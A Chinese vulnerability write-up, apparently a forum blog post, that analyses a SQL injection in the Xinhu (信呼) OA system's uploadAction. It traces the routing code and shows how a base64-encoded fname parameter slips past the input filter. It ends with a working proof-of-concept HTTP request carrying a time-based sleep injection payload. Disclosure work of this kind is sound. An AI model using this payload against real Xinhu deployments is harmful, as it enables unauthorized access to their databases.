信呼OA办公系统最新漏洞--uploadAction 存在SQL注入

信呼OA办公系统是一个开源的在线办公系统。 信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息

信呼OA办公系统最新漏洞--uploadAction 存在SQL注入

漏洞描述

信呼OA办公系统是一个开源的在线办公系统。 信呼OA办公系统uploadAction存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。

影响版本

>=V2.6.5

环境搭建

访问信呼相关产品下载_信呼 即可最新版本下载

image-20241010183829092

然后使用phpstudy搭建

之后进入本地配置,输入自己的数据库密码、获取信呼官网key(需要登录)之后,点击直接提交

接着即可输入账号密码登录即可

image-20241010184206536

路由分析

include/View.php中详细介绍了路由的定义

<?php  
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');  
$ajaxbool   = $rock->get('ajaxbool', $ajaxbool);  
$p  = PROJECT;//define('PROJECT', 'webmain');  
if(!isset($m))$m='index';  
if(!isset($a))$a='default';  
if(!isset($d))$d='';  
$m  = $rock->get('m', $m);  
$a  = $rock->get('a', $a);  
$d  = $rock->get('d', $d);  
​  
define('M', $m);  
define('A', $a);  
define('D', $d);  
define('P', $p);  
​  
$_m = $m;  
if($rock->contain($m, '|')){  
    $_mas = explode('|', $m);//以|分割变量m  
    $m= $_mas[0];  
    $_m = $_mas[1];  
}  
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));//调用strformat进行格式化,其中?0、?1 等是占位符  
$rand   = date('YmdHis').rand(1000,9999);//随机值  
if(substr($d,-1)!='/' && $d!='')$d.='/';//若$d最后一个字符不是/且$d不是空就在$d后面加一个/  
$errormsg   = '';  
$methodbool = true;  
$actpath    = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);//$actpath:根目录/webmain/$d/$_m  
define('ACTPATH', $actpath);  
$actfile    = $rock->strformat('?0/?1Action.php',$actpath, $m);//$actfile:根目录/webmain/$d/$_m/$mAction.php  
$actfile1   = $rock->strformat('?0/?1Action.php',$actpath, $_m);//$actfile1:根目录/webmain/$d/$_m/$_mAction.php  
$actbstr = null;  
//依次判断$actfile1以及$actfile哪个文件存在,哪个存在包含哪个  
if(file_exists($actfile1))  
    include_once($actfile1);  
if(file_exists($actfile)){  
    include_once($actfile);  
    $clsname    = ''.$m.'ClassAction';  
    $xhrock = new $clsname();//创建一个与$m相关类的对象  
    $actname    = ''.$a.'Action';//在$a后接一个Action  
    if($ajaxbool == 'true')//判断ajaxbool是否为true  
        $actname    = ''.$a.'Ajax';//在$a后接一个Ajax  
    if(method_exists($xhrock, $actname)){//检测类中是否存在该方法  
        $xhrock->beforeAction();  
        $actbstr = $xhrock->$actname();  
        $xhrock->bodyMessage = $actbstr;  
        if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}  
        if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}  
    }else{  
        $methodbool = false;  
        if($ajaxbool == 'false')echo ''.$actname.' not found;';  
    }  
    $xhrock->afterAction();  
}else{  
    echo 'actionfile not exists;';  
    $xhrock = new Action();  
}  
​  
$_showbool = false;  
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){  
    $xhrock->smartydata['p']    = $p;  
    $xhrock->smartydata['a']    = $a;  
    $xhrock->smartydata['m']    = $m;  
    $xhrock->smartydata['d']    = $d;  
    $xhrock->smartydata['rand'] = $rand;  
    $xhrock->smartydata['qom']  = QOM;  
    $xhrock->smartydata['path'] = PATH;  
    $xhrock->smartydata['sysurl']= SYSURL;  
    $temppath   = ''.ROOT_PATH.'/'.$p.'/';  
    $tplpaths   = ''.$temppath.'/'.$d.''.$m.'/';  
    $tplname    = 'tpl_'.$m.'';  
    if($a!='default')$tplname  .= '_'.$a.'';  
    $tplname       .= '.'.$xhrock->tpldom.'';  
    $mpathname  = $tplpaths.$tplname;  
    if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;  
    if(!file_exists($mpathname) || !$methodbool){  
        if(!$methodbool){  
            $errormsg   = 'in ('.$m.') not found Method('.$a.');';  
        }else{  
            $errormsg   = ''.$tplname.' not exists;';  
        }  
        echo $errormsg;  
    }else{  
        $_showbool = true;  
    }  
}  
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){  
    $xhrock->setHtmlData();  
    $da = $xhrock->smartydata;  
    foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;  
    include_once($mpathname);  
    $_showbool = false;  
}

根据上述的描述可以知道:路由会接收mdaajaxbool参数来定位一个页面的位置,m表示某个php文件(不含Action),d表示webmain文件夹的下的目录,a表示方法,ajaxbool表示访问的是xxxAction方法还是xxxAjax方法

其中主要是对webmain目录下的内容进行访问

image-20240926175616905

ajaxboolfalse时,是对xxxAction.php的内容访问,当ajaxbooltrue时,是对xxxAjax.php的内容进行访问

例如

http://127.0.0.1:81/xhoa/index.php?a=getmenu&m=index&d=&ajaxbool=true&rnd=956864&pid=38&loadci=1

指的是访问webmain/index/indexAction.php下的getmenuAjax方法

image-20240926180728180

漏洞分析

漏洞的位置在webmain/task/api/uploadAction.php中

我们进入该php文件的getmfilvAction()中

    public function getmfilvAction()  
    {  
        $fileid = (int)$this->get('fileid','0');//通过get方法获取到fileid参数  
        $frs = m('file')->getone($fileid);//用去数据库中查询并将结果返回  
        if(!$frs)return returnerror('不存在');  

        $lujing = $frs['filepathout'];  
        if(isempt($lujing)){//查询文件路径是否为空  
            $lujing = $frs['filepath'];  
            //查看文件路径不是以http开头并且本地文件不存在  
            if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');  
        }  
        $fileext = $frs['fileext'];//获取拓展名  

        $fname = $this->jm->base64decode($this->get('fname'));//获取到fname参数并进行base64decode方法进行base64解密  
        $fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';//对fname进行非空判断  

        $filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';//构建新的文件路径  
        $this->rock->createtxt($filepath, file_get_contents($lujing));//获取远程文件内容,并使用createtxt方法写入到新路径  
​  
        //将一些文件的基本信息进行放入到变量uarr数组中  
        $uarr = array(  
            'filename' => $fname,  
            'fileext' => $fileext,  
            'filepath' => $filepath,  
            'filesize' => filesize($filepath),  
            'filesizecn' => $this->rock->formatsize(filesize($filepath)),  
            'optid' => $this->adminid,  
            'optname' => $this->adminname,  
            'adddt' => $this->rock->now,  
            'ip' => $this->rock->ip,  
            'web' => $this->rock->web,  
        );  
        $uarr['id'] = m('file')->insert($uarr);//调用insert方法进行数据库的插入,获取id值  

        return returnsuccess($uarr);//返回结果  
    }

分析:该方法中是处理文件下载和记录下载信息的功能,通过get方法获取前端内容。在该方法中有两个可以控制的参数,一个是fileid另一个是filename,但是fileid参数会进行类型转换为int类型存在注入几率几乎为零,其中filename还进行了base64解码操作,最后将两个参数的内容连同其他文件基本信息进行数据库的插入操作,在这个地方想要确定有sql注入需要确定get方法以及insert方法是否存在sql语句的过滤

接着进入到insert方法中,该方法首先会对传入的参数进行record方法的校验若不为false,那么就获取到其id值

image-20241010185635349

接入到mysql.php中record方法

image-20241010185902322

分析

该方法首先是是对where参数进行非空判断,前面代码是将where设置为空了,那么$addbool就是false。接着就是判断$array是否为数组,若是数组就进行遍历将每个字段和对应的值拼接到$cont字符串中并调用toaddval方法确保传入的字符串被正确地格式化为 SQL 语句中的字符串值,但该方法并没有对sql进行任何过滤;然后调用gettables设置表名,接着进入else语句,我们清晰的看到$sql变量直接将$cont语句拼接到了sql语句中

接着我们有必要去get方法中看看该方法对传入的内容有什么过滤,来到rockClass.php中

image-20241010191424250

分析:这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤

我们回到这个类的头部发现,重新定义了__construct()魔术方法

image-20241010191530665

分析:当我们创建一个rockClass对象时,会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符,如果想要造成sql注入就必须在字符串中不出现这些敏感字符

通过以上分析发现这个fname参数经过get传参后会进行base64decode方法进行base64解密,那么如果我们将filename传入恶意的sql语句进行base64编码,就会绕过rockClass.php中的__construct方法中的sql语句的过滤,之后进行base64解密又拼接到sql语句造成sql注入的形成

漏洞复现

poc:

GET /xhoa/api.php?a=getmfilv&m=upload|api&d=task&fileid=1&fname=MScgYW5kIHNsZWVwKDYpIw== HTTP/1.1  
Host:  
sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"  
Sec-Fetch-Dest: empty  
Accept: application/json, text/javascript, */*; q=0.01  
Referer: http://127.0.0.1:81/xhoa/  
Cookie: PHPSESSID=i5ikamdm9hso4724c57vn6h436; deviceid=1728559199539; xinhu\_mo\_adminid=pp0ke0kl0mfn0pw0ke0mfk0mmr0mfm0mfw0mlf0mfe0pp0ke0pe0mfo03; xinhu\_ca\_adminuser=admin; xinhu\_ca\_rempass=0  
Sec-Fetch-Mode: cors  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36  
Accept-Encoding: gzip, deflate, br, zstd  
Sec-Fetch-Site: same-origin  
Accept-Language: zh-CN,zh;q=0.9  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
​

成功延时6秒

image-20241010193204994

  • 发表于 2024-10-30 09:00:02
  • 阅读 ( 9959 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xiao1star
xiao1star

3 篇文章